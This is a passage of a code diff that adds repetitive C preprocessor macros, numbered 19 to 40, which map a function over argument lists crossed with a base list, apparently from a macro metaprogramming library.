+#define M_CROSSI_MAP1_19b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) 
+#define M_CROSSI_MAP1_20(...) M_CROSSI_MAP1_20b(__VA_ARGS__)
+#define M_CROSSI_MAP1_20b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) 
+#define M_CROSSI_MAP1_21(...) M_CROSSI_MAP1_21b(__VA_ARGS__)
+#define M_CROSSI_MAP1_21b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) 
+#define M_CROSSI_MAP1_22(...) M_CROSSI_MAP1_22b(__VA_ARGS__)
+#define M_CROSSI_MAP1_22b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) 
+#define M_CROSSI_MAP1_23(...) M_CROSSI_MAP1_23b(__VA_ARGS__)
+#define M_CROSSI_MAP1_23b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) 
+#define M_CROSSI_MAP1_24(...) M_CROSSI_MAP1_24b(__VA_ARGS__)
+#define M_CROSSI_MAP1_24b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) 
+#define M_CROSSI_MAP1_25(...) M_CROSSI_MAP1_25b(__VA_ARGS__)
+#define M_CROSSI_MAP1_25b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) 
+#define M_CROSSI_MAP1_26(...) M_CROSSI_MAP1_26b(__VA_ARGS__)
+#define M_CROSSI_MAP1_26b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) 
+#define M_CROSSI_MAP1_27(...) M_CROSSI_MAP1_27b(__VA_ARGS__)
+#define M_CROSSI_MAP1_27b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) 
+#define M_CROSSI_MAP1_28(...) M_CROSSI_MAP1_28b(__VA_ARGS__)
+#define M_CROSSI_MAP1_28b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) 
+#define M_CROSSI_MAP1_29(...) M_CROSSI_MAP1_29b(__VA_ARGS__)
+#define M_CROSSI_MAP1_29b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) 
+#define M_CROSSI_MAP1_30(...) M_CROSSI_MAP1_30b(__VA_ARGS__)
+#define M_CROSSI_MAP1_30b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) 
+#define M_CROSSI_MAP1_31(...) M_CROSSI_MAP1_31b(__VA_ARGS__)
+#define M_CROSSI_MAP1_31b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) 
+#define M_CROSSI_MAP1_32(...) M_CROSSI_MAP1_32b(__VA_ARGS__)
+#define M_CROSSI_MAP1_32b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) 
+#define M_CROSSI_MAP1_33(...) M_CROSSI_MAP1_33b(__VA_ARGS__)
+#define M_CROSSI_MAP1_33b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) 
+#define M_CROSSI_MAP1_34(...) M_CROSSI_MAP1_34b(__VA_ARGS__)
+#define M_CROSSI_MAP1_34b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) 
+#define M_CROSSI_MAP1_35(...) M_CROSSI_MAP1_35b(__VA_ARGS__)
+#define M_CROSSI_MAP1_35b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) 
+#define M_CROSSI_MAP1_36(...) M_CROSSI_MAP1_36b(__VA_ARGS__)
+#define M_CROSSI_MAP1_36b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) 
+#define M_CROSSI_MAP1_37(...) M_CROSSI_MAP1_37b(__VA_ARGS__)
+#define M_CROSSI_MAP1_37b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) 
+#define M_CROSSI_MAP1_38(...) M_CROSSI_MAP1_38b(__VA_ARGS__)
+#define M_CROSSI_MAP1_38b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) 
+#define M_CROSSI_MAP1_39(...) M_CROSSI_MAP1_39b(__VA_ARGS__)
+#define M_CROSSI_MAP1_39b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) 
+#define M_CROSSI_MAP1_40(...) M_CROSSI_MAP1_40b(__VA_ARGS__)
